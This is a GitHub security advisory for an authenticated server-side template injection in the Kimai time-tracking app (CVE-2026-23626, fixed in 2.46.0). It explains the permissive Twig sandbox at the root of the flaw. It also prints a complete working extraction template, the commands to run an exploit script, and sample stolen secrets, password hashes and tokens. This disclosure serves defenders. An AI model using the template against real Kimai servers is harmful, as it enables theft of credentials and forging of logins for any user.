GitHub Advisoryadvisory · Packagist
GHSA-jg2j-2w24-54cg Kimai has an Authenticated Server-Side Template Injection (SSTI)
MEDIUM
Official page ↗
- Aliases
- CVE-2026-23626
- Ecosystem
- Packagist
- Packages
- kimai/kimai
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-1336
- Reviewed
- 2026-01-20
Affected packages
• Packagist kimai/kimai: < 2.46.0 → fixed in 2.46.0
Description
Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)
Vulnerability Summary
| Field | Value |
|-------|-------|
| Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | High (Admin with export permissions and server access) |
| User Interaction | None |
| Impact | Confidentiality: HIGH (Credential/Secret Extraction) |
| Affected Versions | Kimai 2.45.0 (likely earlier versions) |
| Tested On | Docker: kimai/kimai2:apache-2.45.0 |
| Discovery Date | 2026-01-05 |
---
Why Scope is "Changed": The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.
---
Vulnerability Description
Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:
1. Environment Variables (APP_SECRET, DATABASE_URL)
2. All User Password Hashes (bcrypt)
3. Serialized Session Tokens
4. CSRF Tokens
---
Prerequisites
1. Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)
2. Template Deployment: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via:
• Filesystem access (server admin)
---
Test Environment
Users in Test Instance
The test environment contains 2 users whose password hashes were successfully extracted:
Kimai Users Page - screenshot_users.png:
| User | Role | Hash Extracted |
|------|------|----------------|
| admin | ROLE_SUPER_ADMIN | ✅ Yes |
| lowpriv | ROLE_USER | ✅ Yes |
---
Confirmed Exploitation Evidence
Test Date: 2026-01-05
Extracted Data (Actual Output from Exploit)
```
===SSTI_EXTRACTION_START===
1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod
2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
i:0;O:15:"App\Entity\User":5:{
s:2:"id";i:1;
s:8:"username";s:5:"admin";
s:7:"enabled";b:1;
s:5:"email";s:17:"[email protected]";
s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
}
i:1;b:1;i:2;N;i:3;a:0:{}
i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
}
}
3. CURRENT USER DETAILS
username: admin
email: [email protected]
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58
===SSTI_EXTRACTION_END===
```
---
Root Cause Analysis
Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`
The export functionality uses `ExportPolicy` which includes `DefaultPolicy`:
```php
$this->policy->addPolicy(new DefaultPolicy());
```
The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`
```php
final class DefaultPolicy implements SecurityPolicyInterface
{
public function checkSecurity($tags, $filters, $functions): void
{
// EMPTY - No restrictions on Twig tags/filters/functions
}
public function checkMethodAllowed($obj, $method): void
{
// EMPTY - Allows ANY method call on ANY object
}
public function checkPropertyAllowed($obj, $property): void
{
// EMPTY - Allows ANY property access on ANY object
}
}
```
This allows templates to call methods like:
• `app.request.server.get("APP_SECRET")` - Environment variable access
• `app.session.get("_security_secured_area")` - Session data access
• `entry.user.password` - Password hash access
---
Exploitation Steps
Step 1: Deploy Malicious Template
Save the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`:
```bash
docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig
SSTI Data Extraction
body { font-family: monospace; font-size: 10px; }
h1, h2 { color: #333; }
pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
===SSTI_EXTRACTION_START===
1. ENVIRONMENT VARIABLES
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
2. SESSION TOKEN (SERIALIZED)
{{ app.session.get("_security_secured_area") }}
3. CURRENT USER DETAILS
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
5. CSRF TOKENS
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
6. USER PREFERENCES
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
===SSTI_EXTRACTION_END===
TEMPLATE'
```
Step 2: Run the Exploit
```bash
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
```
Step 3: Extract Text from PDF
```bash
pdftotext kimai_extracted_data.pdf -
```
---
Detailed Exploit Usage
Requirements
```bash
Install Python dependencies
pip install requests
Install PDF text extraction tool
sudo apt install poppler-utils
```
Command Syntax
```
python3 ssti_exploit.py [template_name]
Arguments:
target_url - Kimai instance URL (e.g., http://localhost:8001)
username - Valid admin username with export permissions
password - User password
template_name - Optional: custom template (default: ssti-extract.pdf.twig)
```
Example Usage
```bash
Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig
```
Expected Output
```
╔═══════════════════════════════════════════════════════════════╗
║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║
║ ║
║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║
╚═══════════════════════════════════════════════════════════════╝
[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf
============================================================
RAW EXTRACTED DATA…
Related
Alias · CVE (1)
- CVE-2026-23626 Kimai is a web-based multi-user time-tracking application. vulnerability
Weakness · CWE (1)
- CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine weakness
References
- https://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg web
- https://nvd.nist.gov/vuln/detail/CVE-2026-23626 advisory
- https://github.com/kimai/kimai/pull/5757 web
- https://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f web
- https://github.com/kimai/kimai package
- https://github.com/kimai/kimai/releases/tag/2.46.0 web
- https://twig.symfony.com/doc/3.x/api.html#sandbox-extension web